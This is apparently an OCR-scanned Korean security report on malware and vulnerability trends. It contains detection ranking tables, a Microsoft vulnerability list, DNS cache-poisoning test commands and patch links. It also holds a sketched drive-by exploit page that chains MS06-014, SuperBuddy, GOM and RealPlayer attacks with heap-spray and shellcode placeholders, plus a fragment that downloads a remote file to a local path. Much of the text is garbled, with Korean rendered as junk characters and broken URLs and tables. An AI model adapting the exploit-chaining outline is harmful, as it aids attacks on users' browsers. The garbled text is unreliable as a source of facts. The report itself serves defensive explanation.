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1 | new | Win—-Trojan/Agent.48640.CM 140 | 16.5%

2 | new | Dropper/ARPSpoofer.17408 131 | 15.4%

2 | new | Dropper/OnlineGameHack.79872 111 ] 13.1%
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7 | new | Win—=Trojan/OnlineGameHack.31918 61 7.2%

7 | new | Win—-Trojan/OnlineGameHack.80384.G 58| 6.8%

9 | new | Win—Trojan/Agent.16896.KM 57| 6.7%

10 | new | Dropper/OnlineGameHack.37691 57| 6.7%
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1 New | Win-Downloader/Makrea.21287 39 37%
2 New | Win-Downloader/Makrea.15872 15 13%
3 New Win-Spyware/PWS.OnLineGame.179171 8 8%
4 New | Win-Dropper/PWS.Gamehack.17791 7 7%
5 New Win-Spyware/PWS.OnlineGame.92952 6 6%
6 New | Win-Adware/Rogue. XpAntivirus.9457664 6 6%
7 New Win-Spyware/Zlob.454656 6 6%
8 New | Win-Dropper/Duno.516310 6 6%
9 New | Win-Spyware/Agent.82944.F 6 6%
10 17 Win-Spyware/Xema.208896.D 5 5%
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<script>
{MS06-014 F & o] &3 Y IAE TErE)
{spray H°|E A4}
{Shellcode}

function startCreateControlRange ()
{

S(AE L

setTimeout ("startSuperBuddy ()", 3000);
}
function startSuperBuddy ()
{

S(AE L

setTimeout ("startGOM ()", 2000);
}
function startGOM ()

{
(A L

setTimeout ("startRealPlayer ()", 2000);

}
(A L

startCreateControlRange () ;
</script>
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Lacript langquage="Javascript™:

var arbitrary file = "http://l

var dest = "C:/Docume~1/ALLITSE~ 1/ .
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W MS03-039 Microsoft QL Server Vulnerability
M504-11 Local Security Authority Subsystem Service(LSASS)
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B MS06-040 Server Service Vulnerability

W M505-038 Plug-and-Play Vulnerability
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1 MS03-026 DCOM RPC Vulnerability
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<F k3 F>
$ dig @] B =24 + short porttest.dns—oarc.net TXT
"JlAd A1 is POOR: 40 queries in 6.3 seconds from 1 ports with std dev 0.00"

<A B>
$ dig @] B =24 + short porttest.dns—oarc.net TXT
"JlAd A8 is GOOD: 26 queries in 0.1 seconds from 26 ports with std dev 17815.28"

T+ nslookup = °]&3sto] tha3 o]k 753t
$ nslookup -type=txt —timeout=30 porttest.dns-oarc.net UL HF4
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"The DNS server at XXX.XXX.XXX.XxX is vulnerable!"

DNS Cache Poisoning 32 4}o]
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OpenBSD http://openbsd.org/errata43.html#004_bind
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NetBSD ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2008-
009.txt.asc
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Linux
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8e76d19d9¢371033.mspx?mfr=true
2 Open DNS H.¢tz%] 7}ol= (http://www.nida.or.kr/data2007/OpenDNS.pdf)
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